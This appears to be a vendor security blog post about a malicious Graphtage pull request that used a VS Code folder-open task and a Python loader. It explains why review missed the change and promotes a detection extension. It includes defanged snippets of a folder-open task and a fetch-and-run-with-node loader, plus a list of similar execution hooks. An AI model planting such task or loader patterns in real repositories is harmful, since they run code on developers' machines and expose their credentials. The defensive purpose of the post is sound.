Open the Folder, Run the Code: Graphtage and the VS Code Folder-Open Task
A pull request does not need a malicious dependency to run code on your machine. It needs a file that the editor reads when the folder opens. On 2026-11-09, an open pull request on a Trail of Bits repository carried that file: a .vscode/tasks.json entry marked to start when the folder opens, and an obfuscated JavaScript file for it to run.
Dan Guido, the CEO of Trail of Bits, posted that his assistant found the change without being asked to look for malware. The pull request was still open. A later commit removed both files.
My Dot found malicious code in an open PR on a @trailofbits Github repo. I didn’t ask it to hunt for malware! It noticed a commit, inspected what changed, and warned me about an attack all on its own.
— Dan Guido, CEO of Trail of Bits, 2026-11-09 (public post)
The follow-up post named the finding:
Security triage needed: Graphtage PR #190 contained suspicious code-execution paths. I verified that a removal commit deletes both a VS Code folder-open task running obfuscated JavaScript and Python code that retrieved a transaction payload and executed it with Node.
The pull request returns 404 on GitHub as of 2026-11-09. This post does not describe its diff beyond the public post. Yeeth Security did not access, analyze, or catch the pull request.
Trail of Bits is one of the most capable security teams in the industry, and the response shows why: the change was caught in an open pull request, before merge. The useful question is not why a person missed it. It is why the review surface did not include it.
The sequence
pull request developer machine
┌────────────────────────┐ ┌────────────────────────────┐
│ .vscode/tasks.json │ │ clone the branch │
│ runOn: "folderOpen" │──────►│ open the folder │
│ .vscode/settings.json │ │ "Trust this folder?" ───► │
│ allowAutomaticTasks │ │ task starts │
│ loader.js, script.py │ │ terminal runs the command │
└────────────────────────┘ └────────────────────────────┘
The left side is what a reviewer reads. The right side is what a developer does. The attack crosses the boundary at the Trust prompt, and the prompt is the only place where the two sides meet.
Nothing on the left side is a package. Nothing on the left side is a dependency. The pull request adds configuration that the editor already knows how to execute.
TL;DR
- The payload was repository configuration, not a package. A task marked
runOn: "folderOpen"started on open, and no manifest changed, so dependency resolution had nothing to follow. - Three keys make the task quiet:
runOptions.runOn,task.allowAutomaticTasks, andpreLaunchTask. - Graphtage PR #190 returns 404 as of 2026-11-09. This post relies on the public post and does not analyze the pull request.
- DevGuard 0.1.2, published 2026-11-04, scans the opened workspace at activation in Restricted Mode, before the folder is trusted.
- It flags folder-open tasks, files staged inside
.vscode/, debug configs that point into.vscode/, terminal overrides,.npmrcshell hijacks, and git hooks. - It reports and warns. It does not review pull requests, scan CI, or block execution.
What happened
The public post describes two execution paths in one pull request. The first is a VS Code task that runs when the folder opens. The task runs obfuscated JavaScript. The second is a Python file that retrieves a transaction payload and passes it to Node.
A removal commit deletes both files. That detail matters. The files were in the pull request history, so anyone who checked out the branch and trusted the folder could have started the task before the removal commit existed. The removal cleans the branch, not the exposure.
The pull request is no longer public. GitHub returns 404 for it as of 2026-11-09, so the diff cannot be checked independently. The public post is the source for the file names, the task behavior, and the removal commit. Nothing in this article depends on a private copy of the pull request.
Graphtage is a file-format diffing tool maintained by Trail of Bits. Its repository accepts outside contributions. The pull request looked like a normal contribution, and it sat open. That is the ordinary case this class of attack depends on: a maintainer with a review queue, a branch that needs testing, and configuration files that do not look like code.
The assistant noticed because it read a commit. A rule notices because it reads the file. The difference between the two is repeatability, not intelligence. An agent that happens to inspect a change is useful. A check that inspects the same file on every folder open is a control.
A folder-open task
A folder-open task is a task that the editor starts when a workspace opens, without a command from the user. VS Code reads .vscode/tasks.json, evaluates the runOptions.runOn field, and starts the task in an integrated terminal. The terminal has the developer’s shell, environment, and working directory.
The shape is small:
{
"version": "2.0.0",
"tasks": [
{
"label": "setup",
"type": "shell",
// Stub. The original command was obfuscated.
"command": "node .vscode/<redacted>.js",
"runOptions": { "runOn": "folderOpen" }
}
]
}
The command above is a stub. It names a file that is not present, so it cannot execute. The real task used an obfuscated JavaScript file from the same pull request. A loader of that kind does not need a package, a dependency, or a registry account.
The Python path has the same shape:
# Shape only. The endpoint and payload are removed.
import subprocess, urllib.request
blob = urllib.request.urlopen("https://<redacted>").read()
subprocess.run(["node", "-e", blob.decode()], check=False)
This snippet cannot run as written because the endpoint is redacted and the payload is absent. It shows the hand-off: a repository file fetches bytes, then gives them to a runtime that the developer already has.
What the editor does at open
The order of operations explains where a control can interrupt the sequence.
- The editor reads the workspace file and the folder list.
- It reads workspace settings from
.vscode/settings.json. - It determines the trust state. In Restricted Mode, task execution is disabled.
- On Trust, it loads task definitions from
.vscode/tasks.json. - It starts the tasks whose
runOptions.runOnvalue matchesfolderOpen. - The task runs in an integrated terminal with the selected profile and environment.
A check that runs at activation in Restricted Mode sees the task definition before step 5. A check that waits for the first terminal command has already missed the execution. The position in the sequence matters more than the depth of the analysis.
The settings that make it silent
Workspace Trust is the gate. In Restricted Mode, VS Code does not run tasks from an untrusted folder. When the user trusts the folder, automatic tasks become possible. The first automatic task normally triggers a prompt that asks whether to allow automatic tasks in that folder.
Three settings change that sequence.
task.allowAutomaticTasksin workspace.vscode/settings.json. The workspace value suppresses the prompt for the folder. The user trusts the folder once, and the task starts without a second question.preLaunchTaskin.vscode/launch.json. The key names a task to run before a debug session. If the task is configured to run on folder open, starting the debugger starts the same execution path.- Terminal overrides in
.vscode/settings.json.terminal.integrated.env.*adds environment variables to every integrated terminal, including the task terminal.terminal.integrated.profiles.*andterminal.integrated.defaultProfile.*select the shell.
The same pattern appears outside the editor. In .devcontainer/devcontainer.json, initializeCommand runs on the host, while onCreateCommand and postCreateCommand run in the container. In package.json, the preinstall, install, postinstall, and prepare scripts run during an install. None of these is a dependency. Each one is a configuration field that names a command.
The trust prompt
Workspace Trust exists because a folder can carry executable configuration. VS Code opens an unknown folder in Restricted Mode and asks the user to trust it. The prompt is a real control, and it is also a routine click. A developer who clones a pull request to review it is already preparing to run the project.
Trust is the moment the repository becomes executable. A folder-open task starts after that decision, and the automatic-task prompt is the second chance to stop it. The workspace setting removes the second chance.
The reported pull request did not need the maintainer to build the project or run its tests. It needed one Trust decision and an open folder. That is a lower bar than installing a package and running its code.
What the task inherits
The task terminal is not a sandbox. It starts with the developer’s environment and the repository as its working directory.
- Environment variables are inherited. Registry tokens, cloud credentials, SSH agent sockets, proxy settings, and
NODE_OPTIONSare all in scope. - The working directory is the checkout. Files such as
.env, test fixtures, and.git/configare readable, including remote URLs that may contain credentials. - The network path is the developer’s network path. A loader can fetch from any host the laptop can reach.
- The runtime is the developer’s runtime. A task that starts
nodecan loadfs,child_process, andhttpswithout asking for a permission. - The terminal remains open. Output, errors, and any prompt are visible, but the command has already run.
This capability is why a folder-open task is not a lint step. It is a shell command with a friendly label.
Why review missed it
Package review starts from a package. It reads the manifest, the install scripts, and the files in the archive. The Graphtage change was not in a package. It was in a repository, under .vscode/, which a package review never opens.
Dependency scanning starts from a manifest or a lockfile. It resolves names and versions. Nothing was added to a manifest here, so there was nothing to resolve. An SBOM generated from the repository would not list a .vscode/tasks.json file as a component.
Pull-request review starts from a diff. A small JSON file that adds a task looks like editor configuration. The execution meaning sits in one key, runOn: "folderOpen", and a reviewer who is reading a large contribution can pass over it. The removal commit also splits the story across the history: the addition and the deletion are separate events.
CI starts from the workflow file. It runs the steps the project defines, in the project’s build environment. It does not start the editor’s task runner, and it does not run the devcontainer lifecycle commands on a developer laptop.
| Control | What it reads | What it misses here |
|---|---|---|
| Package review | the package, its manifest, its install scripts | files that are not in the package |
| Dependency scanning | manifests, lockfiles, resolved graphs | configuration that is not a dependency |
| Pull-request review | the changed lines | the runtime meaning of runOn: "folderOpen" |
| CI | build and test steps | editor tasks and devcontainer hooks on a laptop |
A removal commit is evidence, not cleanup. The right response to one is to read the full pull request history, not only the final diff. The files existed, and the task would have started for anyone who checked out the branch and trusted the folder.
The repository is the install
A package has a manifest, a version, and a registry entry. A repository has a checkout, an editor, and a folder. The editor executes repository configuration when the folder opens, so the checkout is an install step. That step has no registry, no signature, and no review gate unless the project adds one.
This is not a defect in VS Code. Setup tasks, devcontainers, and install scripts are documented features. They make a checkout runnable, which is useful for every serious project. The same features give a contributor a way to run code on the machine of anyone who reviews the branch.
The defensive change is a classification change. A checkout is code execution, not text. Reviewing a pull request means reading the files that execute, not only the files that compile.
Variations on the same shape
The reported pull request used a task file and a Python loader. The primitives allow several variations, and a maintainer should read for all of them.
- A one-line
commandintasks.json, with no second file to inspect. - A
preLaunchTaskthat starts the task when the reviewer presses the debug key. - A terminal profile that points at a wrapper script in the repository.
- A
initializeCommandin a devcontainer that runs on the host before the container exists. - A
preparescript that runs when a git dependency is installed. - A workspace settings file that sets
task.allowAutomaticTasksfor the folder. - A multi-root workspace, where each folder brings its own
.vscodedirectory.
None of these needs a manifest change. Each one needs a review decision about a file that names a command.
What DevGuard checks
DevGuard 0.1.2 was published on 2026-11-04. It scans the opened workspace at activation, in Restricted Mode, before the user trusts the folder. That ordering is the point. The scan reads the files that would run after Trust, and it runs before the folder receives Trust.
The shipped checks cover these paths:
- In
.vscode/tasks.json, any task withrunOptions.runOn: "folderOpen". - Any other file staged inside
.vscode/that the editor will load or a task will run: scripts, manifests, and portable Node binaries. - In workspace
.vscode/settings.json,terminal.integrated.env.*,.profiles.*,.automationProfile, and.shellwhen the value references.vscode,NODE_OPTIONS, or a shell or downloader name. - In workspace
.vscode/settings.json,nodePath,tsdk, anddefaultInterpreterPathwhen the value points inside.vscode/. - In
.vscode/launch.json, anyprogram,runtimeExecutable,preLaunchTask, orpostDebugTaskvalue that points inside.vscode/. - A
.npmrcthat sets a script shell. - A
.git/hooks/script that references.vscodeor a downloader.
| File | Key | Why it matters |
|---|---|---|
.vscode/tasks.json |
runOptions.runOn: "folderOpen" |
starts a task when the folder opens |
.vscode/ |
any script or binary the task names | the payload has to live somewhere the task can reach |
.vscode/settings.json |
terminal.integrated.env.* |
adds variables to every integrated terminal |
.vscode/settings.json |
terminal.integrated.profiles.*, .shell, .automationProfile |
selects the shell that runs the task |
.vscode/settings.json |
nodePath, tsdk, defaultInterpreterPath inside .vscode/ |
points the runtime at a staged binary |
.vscode/launch.json |
program, runtimeExecutable, preLaunchTask, postDebugTask inside .vscode/ |
starts a staged file before a debug session |
.npmrc |
script-shell |
replaces the shell npm uses for lifecycle scripts |
.git/hooks/* |
any reference to .vscode or a downloader |
runs outside the editor entirely |
Not covered in 0.1.2: a bare preLaunchTask that names a task without a .vscode/ path, a workspace setting of task.allowAutomaticTasks, .devcontainer/devcontainer.json lifecycle commands, and package.json install scripts. The first two are the next rules to add. This post does not claim them.
The scan repeats when files under .vscode/ or .git/hooks/ change, and when a workspace folder is added. A task added to .vscode/ after the first scan does not stay invisible. Findings appear in the side pane and in a warning that stays until the user acts.
The rule is deterministic: the same files produce the same findings. It does not depend on the reputation of the repository, the age of the account, or the size of the diff. A folder-open task is a fixed pattern, and the check is a file read plus a key match.
These are configuration checks. They do not decide whether a JavaScript file is obfuscated or whether a Python file is malicious. They decide whether the workspace contains a path that starts code when the folder opens. That is enough to interrupt the sequence before Trust becomes execution.
Version 0.1.2 runs on the developer machine. A pull-request scan or a CI scan would be a different product claim, and neither is part of this release.
After a finding
A finding names the file and the key. The user can open the file, remove the task, close the folder, or leave it in place. The warning stays until the user acts.
If the folder was already trusted and the task ran, removing the file is not enough. Treat the environment as exposed. Check the open terminals and the shell history, and rotate the tokens that were present when the task started. The task inherited them, and a loader does not need to ask for them again.
The limit
DevGuard protects the developer who opens the folder. It does not review the pull request. It does not read GitHub, scan a branch, or run in CI. It cannot tell a maintainer that a contribution is malicious before merge, and version 0.1.2 does not block a task from starting. It reports and warns; the developer decides.
That leaves work for the maintainer. The following steps cover the gap:
- Review
.vscode/,.devcontainer/, andpackage.jsonscripts as executable code. A task file is not formatting. Read therunOnvalue, thepreLaunchTasktarget, and every lifecycle command. - Require a reason for a folder-open task. A project may need one for a setup step, but the contribution should say why and what the command does. A task that runs an obfuscated file has no reviewable purpose.
- Read the full pull request history. An addition followed by a removal is two events. The removal does not erase the window when the files were present.
- Check the workspace settings for the bypass.
task.allowAutomaticTasks, terminal profiles, and terminal environment variables belong in the same review as the task. - Open untrusted pull requests in a container or a separate user account. Trust the folder only after the configuration review, and do not use a privileged checkout to read a diff.
- Keep automatic tasks off for folders you have not reviewed. A prompt that appears once is cheaper than a terminal that starts on its own.
Detection on the machine and review of the pull request solve different problems. The machine check covers the developer who clones the branch. The review covers the repository before anyone clones it. Neither one replaces the other.
Reviewing without executing
A reviewer often checks out a branch to read it in context. That action is the exposure when the branch carries folder configuration. The diff can be read without a checkout: use the web diff, git show, or a throwaway container with no credentials.
If a checkout is necessary, remove or rename .vscode/ and .devcontainer/ before opening the folder, and open it without Trust. This is a manual version of the same rule: inspect the configuration before the editor can act on it. The files are still in the branch, so record what you removed and restore nothing until the review is complete.
The safest review path is also the least convenient. That is why a machine check is useful. It makes the safe path the default without asking the reviewer to remember a ritual.
The rule
A folder-open task has a short, fixed shape: a file, a key, and a command. The defensive rule can be just as short. Read the file. Match the key. Warn before the folder receives Trust.
That rule belongs on the machine because the machine is where the folder is trusted and where the terminal starts. A package verdict answers a different question. It says whether a dependency is known to be malicious. It does not say whether a repository is about to run code.
The cost is one file read at startup and one key comparison. The benefit is that the first execution path in a new checkout is inspected before it can run. That is a reasonable trade for a control that does not depend on the reviewer remembering to look.
DevGuard 0.1.2 is available on Open VSX. For a package verdict before install, use pkgscan.dev.